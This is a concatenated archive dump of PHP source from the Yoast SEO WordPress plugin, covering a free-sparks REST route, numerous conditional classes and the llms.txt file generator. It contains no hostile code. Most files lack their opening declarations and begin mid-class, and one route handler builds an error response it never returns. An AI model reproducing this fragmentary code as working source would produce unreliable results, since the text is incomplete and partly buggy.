(int) $timestamp ); } /** * Registers the starting of the free sparks. * * @param ?int $timestamp The timestamp when the user started using free sparks. If null, the current time will be * used. * * @return bool True if the operation was successful, false otherwise. */ public function start( ?int $timestamp = null ): bool { return (bool) $this->options_helper->set( self::OPTION_KEY, ( $timestamp === null ) ? \time() : $timestamp, 'wpseo' ); } } ai-free-sparks/infrastructure/endpoints/free-sparks-endpoint.php000064400000001672152076256260021232 0ustar00get_namespace() . $this->get_route() ); } } ai-free-sparks/user-interface/free-sparks-route.php000064400000004522152076256260016376 0ustar00 The conditionals. */ public static function get_conditionals() { return [ AI_Conditional::class ]; } /** * Class constructor. * * @param Free_Sparks_Handler_Interface $free_sparks_handler The free sparks handler instance. */ public function __construct( Free_Sparks_Handler_Interface $free_sparks_handler ) { $this->free_sparks_handler = $free_sparks_handler; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { \register_rest_route( self::ROUTE_NAMESPACE, self::ROUTE_PREFIX, [ 'methods' => 'POST', 'callback' => [ $this, 'start' ], 'permission_callback' => [ $this, 'can_edit_posts' ], ], ); } /** * Runs the callback to start the free sparks. * * @return WP_REST_Response The response of the callback action. */ public function start(): WP_REST_Response { $result = $this->free_sparks_handler->start( null ); if ( ! $result ) { new WP_REST_Response( 'Failed to start free sparks.', 500 ); } return new WP_REST_Response( 'Free sparks successfully started.' ); } /** * Checks whether the user is logged in and can edit posts. * * @return bool Whether the user is logged in and can edit posts. */ public function can_edit_posts(): bool { $user = \wp_get_current_user(); if ( $user === null || $user->ID < 1 ) { return false; } return \user_can( $user, 'edit_posts' ); } } conditionals/should-index-links-conditional.php000064400000002026152076256260016000 0ustar00options_helper = $options_helper; } /** * Returns `true` when the links on this website should be indexed. * * @return bool `true` when the links on this website should be indexed. */ public function is_met() { $should_index_links = $this->options_helper->get( 'enable_text_link_counter' ); /** * Filter: 'wpseo_should_index_links' - Allows disabling of Yoast's links indexation. * * @param bool $enable To disable the indexation, return false. */ return \apply_filters( 'wpseo_should_index_links', $should_index_links ); } } conditionals/user-can-manage-wpseo-options-conditional.php000064400000000772152076256260020054 0ustar00on_upgrade_page() || \wp_installing() ) { return false; } if ( $pagenow === 'admin.php' && isset( $_GET['page'] ) && \strpos( $_GET['page'], 'wpseo' ) === 0 ) { return true; } $target_pages = [ 'index.php', 'plugins.php', 'update-core.php', 'options-permalink.php', ]; return \in_array( $pagenow, $target_pages, true ); } /** * Checks if we are on a theme or plugin upgrade page. * * @return bool Whether we are on a theme or plugin upgrade page. */ private function on_upgrade_page() { /* * IFRAME_REQUEST is not defined on these pages, * though these action pages do show when upgrading themes or plugins. */ $actions = [ 'do-theme-upgrade', 'do-plugin-upgrade', 'do-core-upgrade', 'do-core-reinstall' ]; return isset( $_GET['action'] ) && \in_array( $_GET['action'], $actions, true ); } } conditionals/ai-conditional.php000064400000001222152076256270012646 0ustar00options = $options; } /** * Returns `true` when Yoast AI is enabled. * * @return bool `true` when Yoast AI is enabled. */ public function is_met(): bool { return $this->options->get( 'enable_ai_generator' ) === true; } } conditionals/migrations-conditional.php000064400000001457152076256270014443 0ustar00migration_status = $migration_status; } /** * Returns `true` when all database migrations have been run. * * @return bool `true` when all database migrations have been run. */ public function is_met() { return $this->migration_status->is_version( 'free', \WPSEO_VERSION ); } } conditionals/deactivating-yoast-seo-conditional.php000064400000001302152076256270016637 0ustar00helpers->product->is_premium(); } } conditionals/updated-importer-framework-conditional.php000064400000000637152076256270017546 0ustar00current_page_helper = $current_page_helper; } /** * Returns `true` when on the admin dashboard, update or Yoast SEO pages. * * @return bool `true` when on the admin dashboard, update or Yoast SEO pages. */ public function is_met() { if ( ! \is_admin() ) { return false; } return $this->current_page_helper->is_yoast_seo_page(); } } conditionals/admin/non-network-admin-conditional.php000064400000000642152076256310016714 0ustar00post_conditional = $post_conditional; } /** * Returns whether this conditional is met. * * @return bool Whether the conditional is met. */ public function is_met() { // phpcs:disable WordPress.Security.NonceVerification.Recommended,WordPress.Security.NonceVerification.Missing -- Reason: Nonce verification should not be done in a conditional but rather in the classes using the conditional. // Check if we are in our Elementor ajax request (for saving). if ( \wp_doing_ajax() && isset( $_POST['action'] ) && \is_string( $_POST['action'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are only strictly comparing the variable. $post_action = \wp_unslash( $_POST['action'] ); if ( $post_action === 'wpseo_elementor_save' ) { return true; } } if ( ! $this->post_conditional->is_met() ) { return false; } // We don't support Estimated Reading Time on the attachment post type. if ( isset( $_GET['post'] ) && \is_string( $_GET['post'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are casting to an integer. $post_id = (int) \wp_unslash( $_GET['post'] ); if ( $post_id !== 0 && \get_post_type( $post_id ) === 'attachment' ) { return false; } } return true; // phpcs:enable WordPress.Security.NonceVerification.Recommended,WordPress.Security.NonceVerification.Missing } } conditionals/admin/post-conditional.php000064400000001340152076256310014326 0ustar00options = $options; } /** * Returns `true` whether the headless REST endpoints have been enabled. * * @return bool `true` when the headless REST endpoints have been enabled. */ public function is_met() { return $this->options->get( 'enable_headless_rest_endpoints' ); } } conditionals/wp-robots-conditional.php000064400000000525152076256350014215 0ustar00helpers->product->is_premium(); } } conditionals/conditional-interface.php000064400000000452152076256350014220 0ustar00post_conditional = $post_conditional; $this->current_page_helper = $current_page_helper; $this->product_helper = $product_helper; } /** * Returns `true` when the AI editor integration should be active. * * @return bool `true` when the AI editor integration should be active. */ public function is_met() { if ( $this->is_attachment() ) { return false; } if ( $this->is_ai_generator_premium() ) { return false; } return $this->post_conditional->is_met() || $this->is_term() || $this->is_elementor_editor(); } /** * Returns `true` when the page is a term page. * * @return bool `true` when the page is a term page. */ private function is_term() { return $this->current_page_helper->get_current_admin_page() === 'term.php'; } /** * Returns `true` when the page is the Elementor editor. * * @return bool `true` when the page is the Elementor editor. */ private function is_elementor_editor() { if ( $this->current_page_helper->get_current_admin_page() !== 'post.php' ) { return false; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['action'] ) && \is_string( $_GET['action'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are only strictly comparing. if ( \wp_unslash( $_GET['action'] ) === 'elementor' ) { return true; } } return false; } /** * Is an attchment post type. * * @return bool */ public function is_attachment() { return $this->current_page_helper->get_current_post_type() === 'attachment'; } /** * Is premium version containes AI generator. We exclude product post type because it is not supported in premium version before 25.6. * * @return bool */ public function is_ai_generator_premium() { if ( ! $this->product_helper->is_premium() ) { return false; } $premium_version = $this->product_helper->get_premium_version(); return \version_compare( $premium_version, '25.6-RC0', '<' ) && $this->current_page_helper->get_current_post_type() !== 'product'; } } conditionals/wp-cron-enabled-conditional.php000064400000000537152076256360015242 0ustar00options = $options; } /** * Returns whether this conditional is met. * * @return bool Whether the conditional is met. */ public function is_met() { return $this->options->get( 'wincher_automatically_add_keyphrases' ); } } conditionals/woocommerce-version-conditional.php000064400000001211152076256370016256 0ustar00=' ); } } conditionals/check-required-version-conditional.php000064400000000570152076256400016633 0ustar00options = $options; } /** * Returns `true` when the Open Graph feature is enabled. * * @return bool `true` when the Open Graph feature is enabled. */ public function is_met() { return $this->options->get( 'opengraph' ) === true; } } conditionals/user-can-publish-posts-and-pages-conditional.php000064400000001036152076256400020437 0ustar00user_can_manage_wpseo_options_conditional = $user_can_manage_wpseo_options_conditional; } /** * Returns whether or not this conditional is met. * * @return bool Whether or not the conditional is met. */ public function is_met() { if ( ! $this->user_can_manage_wpseo_options_conditional->is_met() ) { return false; } return true; } } conditionals/user-edit-conditional.php000064400000000751152076256450014164 0ustar00options = $options; } /** * Returns whether the 'Redirect attachment URLs to the attachment itself' setting has been enabled. * * @return bool `true` when the 'Redirect attachment URLs to the attachment itself' setting has been enabled. */ public function is_met() { return $this->options->get( 'disable-attachment' ); } } conditionals/addon-installation-conditional.php000064400000000666152076256450016054 0ustar00front_end_conditional = $front_end_conditional; } /** * Returns whether or not this conditional is met. * * @return bool Whether or not the conditional is met. */ public function is_met() { return $this->front_end_conditional->is_met() || $this->is_file_editor_page(); } /** * Returns whether the current page is the file editor page. * * This checks for two locations: * - Multisite network admin file editor page * - Single site file editor page (under tools) * * @return bool */ protected function is_file_editor_page() { global $pagenow; if ( $pagenow !== 'admin.php' ) { return false; } // phpcs:ignore WordPress.Security.NonceVerification -- This is not a form. if ( isset( $_GET['page'] ) && $_GET['page'] === 'wpseo_files' && \is_multisite() && \is_network_admin() ) { return true; } // phpcs:ignore WordPress.Security.NonceVerification -- This is not a form. if ( ! ( isset( $_GET['page'] ) && $_GET['page'] === 'wpseo_tools' ) ) { return false; } // phpcs:ignore WordPress.Security.NonceVerification -- This is not a form. if ( isset( $_GET['tool'] ) && $_GET['tool'] === 'file-editor' ) { return true; } return false; } } conditionals/schema-disabled-conditional.php000064400000001317152076256460015270 0ustar00options = $options; } /** * Returns `true` whether the schema is disabled. * * @return bool `true` when the schema is disabled. */ public function is_met() { return $this->options->get( 'enable_schema', true ) === false; } } conditionals/woocommerce-conditional.php000064400000000634152076256460014603 0ustar00is_elementor_get_action() ) { return true; } // Request for us saving a post/page in Elementor (submits our form via AJAX). return \wp_doing_ajax() && $this->is_yoast_save_post_action(); } /** * Checks if the current request' GET action is 'elementor'. * * @return bool True when the GET action is 'elementor'. */ private function is_elementor_get_action(): bool { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( ! isset( $_GET['action'] ) ) { return false; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( ! \is_string( $_GET['action'] ) ) { return false; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, we are only strictly comparing. return \wp_unslash( $_GET['action'] ) === 'elementor'; } /** * Checks if the current request' POST action is 'wpseo_elementor_save'. * * @return bool True when the POST action is 'wpseo_elementor_save'. */ private function is_yoast_save_post_action(): bool { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information. if ( ! isset( $_POST['action'] ) ) { return false; } // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information. if ( ! \is_string( $_POST['action'] ) ) { return false; } // phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, we are only strictly comparing. return \wp_unslash( $_POST['action'] ) === 'wpseo_elementor_save'; } } conditionals/third-party/w3-total-cache-conditional.php000064400000000747152076256470017254 0ustar00client = $client; } /** * Returns whether this conditional is met. * * @return bool Whether the conditional is met. */ public function is_met() { return $this->client->has_valid_tokens(); } } conditionals/primary-category-conditional.php000064400000003254152076256470015564 0ustar00current_page = $current_page; } /** * Returns `true` when on the frontend, * or when on the post overview, post edit or new post admin page, * or when on additional admin pages, allowed by filter. * * @return bool `true` when on the frontend, or when on the post overview, * post edit, new post admin page or additional admin pages, allowed by filter. */ public function is_met() { if ( ! \is_admin() ) { return true; } $current_page = $this->current_page->get_current_admin_page(); // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information. if ( $current_page === 'admin-ajax.php' && isset( $_POST['action'] ) && $_POST['action'] === 'wp-link-ajax' ) { return true; } /** * Filter: Adds the possibility to use primary category at additional admin pages. * * @param array $admin_pages List of additional admin pages. */ $additional_pages = \apply_filters( 'wpseo_primary_category_admin_pages', [] ); return \in_array( $current_page, \array_merge( [ 'edit.php', 'post.php', 'post-new.php' ], $additional_pages ), true ); } } conditionals/semrush-enabled-conditional.php000064400000001343152076256470015341 0ustar00options = $options; } /** * Returns whether or not this conditional is met. * * @return bool Whether or not the conditional is met. */ public function is_met() { return $this->options->get( 'semrush_integration_active', false ); } } conditionals/development-conditional.php000064400000000601152076256470014601 0ustar00options = $options; } /** * Returns whether or not this conditional is met. * * @return bool Whether or not the conditional is met. */ public function is_met() { return $this->options->get( 'wincher_integration_active', false ); } } conditionals/feature-flag-conditional.php000064400000001617152076256470014631 0ustar00get_feature_flag() ); return \defined( 'YOAST_SEO_' . $feature_flag ) && \constant( 'YOAST_SEO_' . $feature_flag ) === true; } /** * Returns the name of the feature flag. * 'YOAST_SEO_' is automatically prepended to it and it will be uppercased. * * @return string the name of the feature flag. */ abstract protected function get_feature_flag(); /** * Returns the feature name. * * @return string the name of the feature flag. */ public function get_feature_name() { return $this->get_feature_flag(); } } conditionals/news-conditional.php000064400000000550152076256470013236 0ustar00options = $options; } /** * Returns whether the 'Task List' feature is enabled. * * @return bool `true` when the 'Task List' feature is enabled. */ public function is_met() { return $this->options->get( 'enable_task_list' ); } } conditionals/text-formality-conditional.php000064400000000661152076256500015247 0ustar00content_type_entry = $content_type_entry; } /** * The array representation of this domain object. * * @return array */ public function to_array(): array { return [ 'id' => $this->content_type_entry->get_id(), 'title' => $this->content_type_entry->get_title(), 'slug' => $this->content_type_entry->get_slug(), ]; } } llms-txt/domain/available-posts/data-provider/data-interface.php000064400000000715152076256570021030 0ustar00 */ public function to_array(): array; } llms-txt/domain/available-posts/data-provider/parameters.php000064400000002101152076256570020313 0ustar00post_type = $post_type; $this->search_filter = $search_filter; } /** * Getter for the post type. * * @return string */ public function get_post_type(): string { return $this->post_type; } /** * Getter for the search filter. * * @return string */ public function get_search_filter(): string { return $this->search_filter; } } llms-txt/domain/available-posts/data-provider/available-posts-repository-interface.php000064400000001222152076256570025414 0ustar00 */ private $data_container; /** * The constructor */ public function __construct() { $this->data_container = []; } /** * Method to add data. * * @param Data_Interface $data The data. * * @return void */ public function add_data( Data_Interface $data ) { $this->data_container[] = $data; } /** * Method to get all the data points. * * @return Data_Interface[] All the data points. */ public function get_data(): array { return $this->data_container; } /** * Converts the data points into an array. * * @return array The array of the data points. */ public function to_array(): array { $result = []; foreach ( $this->data_container as $data ) { $result[] = $data->to_array(); } return $result; } } llms-txt/domain/file/llms-txt-permission-gate-interface.php000064400000000701152076256610020065 0ustar00id = $id; $this->title = $title; $this->url = $url; $this->description = $description; $this->slug = $slug; } /** * Gets the ID of the content type entry. * * @return int The ID of the content type entry. */ public function get_id(): int { return $this->id; } /** * Gets the title of the content type entry. * * @return string The title of the content type entry. */ public function get_title(): string { return $this->title; } /** * Gets the URL of the content type entry. * * @return string The URL of the content type entry. */ public function get_url(): string { return $this->url; } /** * Gets the description of the content type entry. * * @return string The description of the content type entry. */ public function get_description(): string { return $this->description; } /** * Gets the slug of the content type entry. * * @return string The slug of the content type entry. */ public function get_slug(): string { return $this->slug; } /** * Creates a new instance of the class from the provided Meta object. * * @param Meta $meta The Meta object containing the necessary data to construct the instance. * * @return self A new instance of the class. */ public static function from_meta( Meta $meta ): self { return new self( $meta->post->ID, $meta->post->post_title, $meta->canonical, $meta->post->post_excerpt, $meta->post->post_name, ); } /** * Creates an instance of the class from a WordPress post object. * * @param WP_Post $post The WordPress post object. * @param string $permalink The permalink of the post. * * @return self An instance of the class. */ public static function from_post( WP_Post $post, string $permalink ): self { return new self( $post->ID, $post->post_title, $permalink, $post->post_excerpt, $post->post_name, ); } } llms-txt/domain/markdown/llms-txt-renderer.php000064400000002230152076256660015536 0ustar00sections[] = $section; } /** * Returns the sections. * * @return Section_Interface[] */ public function get_sections(): array { return $this->sections; } /** * Renders the items of the bucket. * * @return string */ public function render(): string { if ( empty( $this->sections ) ) { return ''; } $rendered_sections = []; foreach ( $this->sections as $section ) { $section_content = $section->render(); if ( $section_content === '' ) { continue; } $rendered_sections[] = $section->get_prefix() . $section_content . \PHP_EOL; } return \implode( \PHP_EOL, $rendered_sections ); } } llms-txt/domain/markdown/items/link.php000064400000003064152076256660014232 0ustar00text = $text; $this->anchor = $anchor; $this->description = $description; } /** * Renders the link item. * * @return string */ public function render(): string { $description = ( $this->description !== '' ) ? ": $this->description" : ''; return "[$this->text]($this->anchor)$description"; } /** * Escapes the markdown content. * * @param param Markdown_Escaper $markdown_escaper The markdown escaper. * * @return void */ public function escape_markdown( Markdown_Escaper $markdown_escaper ): void { $this->text = $markdown_escaper->escape_markdown_content( $this->text ); $this->description = $markdown_escaper->escape_markdown_content( $this->description ); $this->anchor = $markdown_escaper->escape_markdown_url( $this->anchor ); } } llms-txt/domain/markdown/items/item-interface.php000064400000001062152076256670016166 0ustar00description = $description; } /** * Returns the prefix of the description section. * * @return string */ public function get_prefix(): string { return '> '; } /** * Renders the description section. * * @return string */ public function render(): string { return $this->description; } /** * Escapes the markdown content. * * @param Markdown_Escaper $markdown_escaper The markdown escaper. * * @return void */ public function escape_markdown( Markdown_Escaper $markdown_escaper ): void { $this->description = $markdown_escaper->escape_markdown_content( $this->description ); } } llms-txt/domain/markdown/sections/link-list.php000064400000003422152076256670015710 0ustar00type = $type; foreach ( $links as $link ) { $this->add_link( $link ); } } /** * Adds a link to the list. * * @param Link $link The link to add. * * @return void */ public function add_link( Link $link ): void { $this->links[] = $link; } /** * Returns the prefix of the link list section. * * @return string */ public function get_prefix(): string { return '## '; } /** * Renders the link item. * * @return string */ public function render(): string { if ( empty( $this->links ) ) { return ''; } $rendered_links = []; foreach ( $this->links as $link ) { $rendered_links[] = '- ' . $link->render(); } return $this->type . \PHP_EOL . \implode( \PHP_EOL, $rendered_links ); } /** * Escapes the markdown content. * * @param Markdown_Escaper $markdown_escaper The markdown escaper. * * @return void */ public function escape_markdown( Markdown_Escaper $markdown_escaper ): void { $this->type = $markdown_escaper->escape_markdown_content( $this->type ); foreach ( $this->links as $link ) { $link->escape_markdown( $markdown_escaper ); } } } llms-txt/domain/markdown/sections/section-interface.php000064400000000616152076256670017406 0ustar00intro_content = $intro_content; foreach ( $intro_links as $link ) { $this->add_link( $link ); } } /** * Returns the prefix of the intro section. * * @return string */ public function get_prefix(): string { return ''; } /** * Adds a link to the intro section. * * @param Link $link The link to add. * * @return void */ public function add_link( Link $link ): void { $this->intro_links[] = $link; } /** * Returns the content of the intro section. * * @return string */ public function render(): string { if ( \count( $this->intro_links ) === 0 ) { return $this->intro_content; } $rendered_links = \array_map( static function ( $link ) { return $link->render(); }, $this->intro_links, ); $this->intro_content = \sprintf( $this->intro_content, ...$rendered_links, ); return $this->intro_content; } /** * Escapes the markdown content. * * @param Markdown_Escaper $markdown_escaper The markdown escaper. * * @return void */ public function escape_markdown( Markdown_Escaper $markdown_escaper ): void { foreach ( $this->intro_links as $link ) { $link->escape_markdown( $markdown_escaper ); } } } llms-txt/domain/markdown/sections/title.php000064400000003017152076256670015123 0ustar00site_title = $site_title; $this->site_tagline = $site_tagline; } /** * Returns the prefix of the section. * * @return string */ public function get_prefix(): string { return '# '; } /** * Renders the title section. * * @return string */ public function render(): string { if ( $this->site_tagline === '' ) { return $this->site_title; } if ( $this->site_title === '' ) { return $this->site_tagline; } return "$this->site_title: $this->site_tagline"; } /** * Escapes the markdown content. * * @param Markdown_Escaper $markdown_escaper The markdown escaper. * * @return void */ public function escape_markdown( Markdown_Escaper $markdown_escaper ): void { $this->site_title = $markdown_escaper->escape_markdown_content( $this->site_title ); $this->site_tagline = $markdown_escaper->escape_markdown_content( $this->site_tagline ); } } llms-txt/domain/content/post-collection-interface.php000064400000000365152076256670017062 0ustar00automatic_post_collection = $automatic_post_collection; } /** * Gets the available posts' data. * * @param Parameters $parameters The parameters to use for getting the available posts. * * @return Data_Container */ public function get_posts( Parameters $parameters ): Data_Container { $available_posts = $this->automatic_post_collection->get_recent_posts( $parameters->get_post_type(), 100, $parameters->get_search_filter(), true ); $available_posts_data_container = new Data_Container(); foreach ( $available_posts as $available_post ) { $available_posts_data_container->add_data( new Available_Posts_Data( $available_post ) ); } return $available_posts_data_container; } } llms-txt/application/markdown-builders/markdown-builder.php000064400000006256152076256760020274 0ustar00llms_txt_renderer = $llms_txt_renderer; $this->intro_builder = $intro_builder; $this->title_builder = $title_builder; $this->description_builder = $description_builder; $this->link_lists_builder = $link_lists_builder; $this->markdown_escaper = $markdown_escaper; $this->optional_link_list_builder = $optional_link_list_builder; } /** * Renders the markdown. * * @return string The rendered markdown. */ public function render(): string { $this->llms_txt_renderer->add_section( $this->title_builder->build_title() ); $this->llms_txt_renderer->add_section( $this->description_builder->build_description() ); $this->llms_txt_renderer->add_section( $this->intro_builder->build_intro() ); foreach ( $this->link_lists_builder->build_link_lists() as $link_list ) { $this->llms_txt_renderer->add_section( $link_list ); } $this->llms_txt_renderer->add_section( $this->optional_link_list_builder->build_optional_link_list() ); foreach ( $this->llms_txt_renderer->get_sections() as $section ) { $section->escape_markdown( $this->markdown_escaper ); } return $this->llms_txt_renderer->render(); } } llms-txt/application/markdown-builders/link-lists-builder.php000064400000002540152076256770020534 0ustar00content_types_collector = $content_types_collector; $this->terms_collector = $terms_collector; } /** * Builds the link list sections. * * @return Link_List[] The link list sections. */ public function build_link_lists(): array { return \array_merge( $this->content_types_collector->get_content_types_lists(), $this->terms_collector->get_terms_lists(), ); } } llms-txt/application/markdown-builders/optional-link-list-builder.php000064400000002113152076256770022170 0ustar00sitemap_link_collector = $sitemap_link_collector; } /** * Builds the optional link list. * * @return Link_List The optional link list. */ public function build_optional_link_list(): Link_List { $sitemap_link = $this->sitemap_link_collector->get_link(); if ( $sitemap_link === null ) { return new Link_List( 'Optional', [] ); } return new Link_List( 'Optional', [ $sitemap_link ] ); } } llms-txt/application/markdown-builders/title-builder.php000064400000001436152076256770017567 0ustar00title_adapter = $title_adapter; } /** * Builds the title section. * * @return Title The title section. */ public function build_title(): Title { return $this->title_adapter->get_title(); } } llms-txt/application/markdown-builders/intro-builder.php000064400000001472152076256770017601 0ustar00get_generator_version(), ); return new Intro( $intro_content, [] ); } } llms-txt/application/markdown-builders/description-builder.php000064400000001636152076256770020773 0ustar00description_adapter = $description_adapter; } /** * Builds the description section. * * @return Description The description section. */ public function build_description(): Description { return $this->description_adapter->get_description(); } } llms-txt/application/file/commands/populate-file-command-handler.php000064400000006376152076256770021716 0ustar00options_helper = $options_helper; $this->file_system_adapter = $file_system_adapter; $this->markdown_builder = $markdown_builder; $this->permission_gate = $permission_gate; } /** * Runs the command. * * @return void */ public function handle() { if ( $this->permission_gate->is_managed_by_yoast_seo() ) { $content = $this->markdown_builder->render(); $content = $this->encode_content( $content ); $file_written = $this->file_system_adapter->set_file_content( $content ); if ( $file_written ) { // Maybe move this to a class if we need to handle this option more often. \update_option( self::CONTENT_HASH_OPTION, \md5( $content ) ); \delete_option( self::GENERATION_FAILURE_OPTION ); return; } \update_option( self::GENERATION_FAILURE_OPTION, 'filesystem_permissions' ); return; } \update_option( self::GENERATION_FAILURE_OPTION, 'not_managed_by_yoast_seo' ); } /** * Encodes the content by prepending it with the Byte Order Mark (BOM) for UTF-8. * * @param string $content The content to encode. * * @return string */ private function encode_content( string $content ): string { /** * Filter: 'wpseo_llmstxt_encoding_prefix' - Allows editing the Byte Order Mark (BOM) for UTF-8 we prepend to the llmst.txt file. * * @param string $encoding_prefix The Byte Order Mark (BOM) for UTF-8 we prepend to the llmst.txt file. */ $encoding_prefix = \apply_filters( 'wpseo_llmstxt_encoding_prefix', "\xEF\xBB\xBF" ); return $encoding_prefix . $content; } } llms-txt/application/file/commands/remove-file-command-handler.php000064400000003464152076256770021355 0ustar00options_helper = $options_helper; $this->file_system_adapter = $file_system_adapter; $this->permission_gate = $permission_gate; } /** * Runs the command. * * @return void */ public function handle() { if ( $this->permission_gate->is_managed_by_yoast_seo() ) { $file_removed = $this->file_system_adapter->remove_file(); if ( $file_removed ) { // Maybe move this to a class if we need to handle this option more often. \update_option( Populate_File_Command_Handler::CONTENT_HASH_OPTION, '' ); } } } } llms-txt/application/file/file-failure-notification-presenter.php000064400000004046152076256770021345 0ustar00'; $notification_text .= $this->get_message(); $notification_text .= '

      '; return $notification_text; } /** * Returns the message to show. * * @return string The message. */ protected function get_message() { $reason = \get_option( Populate_File_Command_Handler::GENERATION_FAILURE_OPTION, false ); switch ( $reason ) { case 'not_managed_by_yoast_seo': $message = \sprintf( /* translators: 1: Link start tag to the WordPress Reading Settings page, 2: Link closing tag. */ \esc_html__( 'An existing llms.txt file wasn\'t created by Yoast or has been edited manually. Yoast won\'t overwrite it. %1$sDelete it manually%2$s or turn off this feature.', 'wordpress-seo' ), '', '', ); break; case 'filesystem_permissions': $message = \__( 'You have activated the Yoast llms.txt feature, but we couldn\'t generate an llms.txt file. It looks like there aren\'t sufficient permissions on the web server\'s filesystem.', 'wordpress-seo' ); break; default: $message = \__( 'You have activated the Yoast llms.txt feature, but we couldn\'t generate an llms.txt file, for unknown reasons.', 'wordpress-seo' ); break; } return \sprintf( '%1$s %2$s', \esc_html__( 'Your llms.txt file couldn\'t be auto-generated', 'wordpress-seo' ), $message, ); } } llms-txt/application/file/llms-txt-cron-scheduler.php000064400000003440152076257000016767 0ustar00options_helper = $options_helper; } /** * Schedules the llms txt population cron a week from now. * * @return void */ public function schedule_weekly_llms_txt_population(): void { if ( $this->options_helper->get( 'enable_llms_txt', false ) !== true ) { return; } if ( ! \wp_next_scheduled( self::LLMS_TXT_POPULATION ) ) { \wp_schedule_event( ( \time() + \WEEK_IN_SECONDS ), 'weekly', self::LLMS_TXT_POPULATION ); } } /** * Schedules the llms txt population cron 5 minutes from now. * * @return void */ public function schedule_quick_llms_txt_population(): void { if ( $this->options_helper->get( 'enable_llms_txt', false ) !== true ) { return; } if ( \wp_next_scheduled( self::LLMS_TXT_POPULATION ) ) { $this->unschedule_llms_txt_population(); } \wp_schedule_event( ( \time() + ( \MINUTE_IN_SECONDS * 5 ) ), 'weekly', self::LLMS_TXT_POPULATION ); } /** * Unschedules the llms txt population cron. * * @return void */ public function unschedule_llms_txt_population() { $scheduled = \wp_next_scheduled( self::LLMS_TXT_POPULATION ); if ( $scheduled ) { \wp_unschedule_event( $scheduled, self::LLMS_TXT_POPULATION ); } } } llms-txt/application/configuration/llms-txt-configuration.php000064400000003430152076257070020657 0ustar00runner = $runner; $this->post_type_helper = $post_type_helper; $this->options_helper = $options_helper; } /** * Returns a configuration * * @return array|array>>> */ public function get_configuration(): array { $this->runner->run(); $configuration = [ 'generationFailure' => ! $this->runner->is_successful(), 'generationFailureReason' => $this->runner->get_generation_failure_reason(), 'llmsTxtUrl' => \home_url( 'llms.txt' ), 'disabledPageIndexables' => ( $this->post_type_helper->is_of_indexable_post_type( 'page' ) === false ), 'otherIncludedPagesLimit' => $this->options_helper->get_other_included_pages_limit(), ]; return $configuration; } } llms-txt/application/health-check/file-check.php000064400000003640152076257070015674 0ustar00runner = $runner; $this->reports = $reports; $this->options_helper = $options_helper; $this->reports->set_test_identifier( $this->get_test_identifier() ); $this->set_runner( $this->runner ); } /** * Returns the WordPress-friendly health check result. * * @return string[] The WordPress-friendly health check result. */ protected function get_result() { if ( $this->runner->is_successful() ) { return $this->reports->get_success_result(); } return $this->reports->get_generation_failure_result( $this->runner->get_generation_failure_reason() ); } /** * Returns true when the llms.txt feature is disabled. * * @return bool Whether the health check should be excluded from the results. */ public function is_excluded() { return $this->options_helper->get( 'enable_llms_txt', false ) !== true; } } llms-txt/application/health-check/file-runner.php000064400000002256152076257070016132 0ustar00generation_failure_reason = \get_option( Populate_File_Command_Handler::GENERATION_FAILURE_OPTION, '' ); } /** * Returns true if there is no generation failure reason. * * @return bool The boolean indicating if the health check was succesful. */ public function is_successful() { return $this->generation_failure_reason === ''; } /** * Returns the generation failure reason. * * @return string The boolean indicating if the health check was succesful. */ public function get_generation_failure_reason(): string { return $this->generation_failure_reason; } } llms-txt/application/markdown-escaper.php000064400000002153152076257070014622 0ustar00_{}|]/'; $replacement = static function ( $matches ) { return '\\' . $matches[0]; }; return \preg_replace_callback( $pattern, $replacement, $text ); } /** * Escapes URLs in markdown. * * @param string $url The markdown URL to escape. * * @return string The escaped markdown URL. */ public function escape_markdown_url( $url ) { $escaped_url = \str_replace( [ ' ', '(', ')', '\\' ], [ '%20', '%28', '%29', '%5C' ], $url ); return $escaped_url; } } llms-txt/infrastructure/file/wordpress-llms-txt-permission-gate.php000064400000003634152076257100021771 0ustar00file_system_adapter = $file_system_adapter; $this->options_helper = $options_helper; } /** * Checks if Yoast SEO manages the llms.txt. * * @return bool Checks if Yoast SEO manages the llms.txt. */ public function is_managed_by_yoast_seo(): bool { $stored_hash = \get_option( Populate_File_Command_Handler::CONTENT_HASH_OPTION, '' ); // If the file does not exist yet, we always regenerate/create it. if ( ! $this->file_system_adapter->file_exists() ) { return true; } // This means the file is already there (maybe hand made or another plugin created it). And since we don't have a hash it's not ours. if ( $stored_hash === '' ) { return false; } $current_content = $this->file_system_adapter->get_file_contents(); // If you have a hash, we want to make sure it's the same. This check makes sure the file is not edited by the user. return \md5( $current_content ) === $stored_hash; } } llms-txt/infrastructure/file/wordpress-file-system-adapter.php000064400000006120152076257100020751 0ustar00is_file_system_available() ) { global $wp_filesystem; $result = $wp_filesystem->put_contents( $this->get_llms_file_path(), $content, \FS_CHMOD_FILE, ); return $result; } return false; } /** * Removes the llms.txt from the filesystem. * * @return bool True on success, false on failure. */ public function remove_file(): bool { if ( $this->is_file_system_available() ) { global $wp_filesystem; $result = $wp_filesystem->delete( $this->get_llms_file_path() ); return $result; } return false; } /** * Gets the contents of the current llms.txt file. * * @return string The content of the file. */ public function get_file_contents(): string { if ( $this->is_file_system_available() ) { global $wp_filesystem; return $wp_filesystem->get_contents( $this->get_llms_file_path() ); } return ''; } /** * Checks if the llms.txt file exists. * * @return bool Whether the llms.txt file exists. */ public function file_exists(): bool { if ( $this->is_file_system_available() ) { global $wp_filesystem; return $wp_filesystem->exists( $this->get_llms_file_path() ); } return false; } /** * Checks if the file system is available. * * @return bool 